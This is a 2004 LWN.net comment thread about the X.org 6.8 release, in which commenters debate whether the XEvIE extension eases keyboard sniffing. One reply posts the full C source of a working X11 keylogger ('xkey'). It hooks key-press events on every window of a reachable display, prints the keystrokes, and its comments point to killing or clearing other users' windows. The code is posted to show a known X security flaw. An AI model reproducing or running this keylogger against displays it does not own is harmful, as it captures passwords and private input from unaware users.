LWN.net Logo

The X.org 6.8 release

The X.org 6.8 release

Posted Sep 9, 2004 18:27 UTC (Thu) by akupries (subscriber, #4268)
Parent article: The X.org 6.8 release

The first thing which came to my mind after reading about "XEvIE" was: Keyboard sniffer.

I really hope that the people working on this are aware of the security implications of such an extension, officially allowing an application to spy on other apps.


(Log in to post comments)

The X.org 6.8 release

Posted Sep 9, 2004 19:22 UTC (Thu) by smoogen (subscriber, #97) [Link]

I think keyboard sniffers with X are already possible.. but this does seem to lower the bar on them...

The X.org 6.8 release

Posted Sep 9, 2004 22:29 UTC (Thu) by gurulabs (subscriber, #10753) [Link]

You don't need XEvIE to have a keyboard sniffer. All you need is the ability (xhost,xauth) to connect to any Xserver made in the last 20 years and the following ~100 line C program.

/* To compile, run it through your favorite ansi compiler something like
* this :
*
* gcc -o xkey xkey.c -lX11 -lm
*
* To run it, just use it like this : xkey displayname:0
* and watch as that display's keypresses show up in your shell window.
*
* Dominic Giampaolo (nick@cs.maxine.wpi.edu)
*/
#include <stdio.h>
#include <X11/X.h>
#include <X11/Xlib.h>
#include <X11/Intrinsic.h>
#include <X11/StringDefs.h>
#include <X11/Xutil.h>
#include <X11/Shell.h>

char *TranslateKeyCode(XEvent *ev);


Display *d;

void snoop_all_windows(Window root, unsigned long type)
{
static int level = 0;
Window parent, *children, *child2;
unsigned int nchildren;
int stat, i,j,k;

level++;

stat = XQueryTree(d, root, &root, &parent, &children, &nchildren);
if (stat == FALSE)
{
fprintf(stderr, "Can't query window tree...\n");
return;
}

if (nchildren == 0)
return;

/* For a more drastic inidication of the problem being exploited
* here, you can change these calls to XSelectInput() to something
* like XClearWindow(d, children[i]) or if you want to be real
* nasty, do XKillWindow(d, children[i]). Of course if you do that,
* then you'll want to remove the loop in main().
*
* The whole point of this exercise being that I shouldn't be
* allowed to manipulate resources which do not belong to me.
*/
XSelectInput(d, root, type);

for(i=0; i < nchildren; i++)
{
XSelectInput(d, children[i], type);
snoop_all_windows(children[i], type);
}

XFree((char *)children);
}


void main(int argc, char **argv)
{
char *hostname;
char *string;
XEvent xev;
int count = 0;

if (argv[1] == NULL)
hostname = ":0";
else
hostname = argv[1];

d = XOpenDisplay(hostname);
if (d == NULL)
{
fprintf(stderr, "Blah, can't open display: %s\n", hostname);
exit(10);
}

snoop_all_windows(DefaultRootWindow(d), KeyPressMask);

while(1)
{
XNextEvent(d, &xev);

string = TranslateKeyCode(&xev);
if (string == NULL)
continue;

if (*string == '\r')
printf("\n");
else if (strlen(string) == 1)
printf("%s", string);
else
printf("<<%s>>", string);
fflush(stdout);
}
}


#define KEY_BUFF_SIZE 256
static char key_buff[KEY_BUFF_SIZE];

char *TranslateKeyCode(XEvent *ev)
{
int count;
char *tmp;
KeySym ks;

if (ev)
{
count = XLookupString((XKeyEvent *)ev, key_buff, KEY_BUFF_SIZE, &ks,NULL);
key_buff[count] = '\0';

if (count == 0)
{
tmp = XKeysymToString(ks);
if (tmp)
strcpy(key_buff, tmp);
else
strcpy(key_buff, "");
}
return key_buff;
}
else
return NULL;
}

Copyright © 2013, Eklektix, Inc.
Comments and public postings are copyrighted by their creators.
Linux is a registered trademark of Linus Torvalds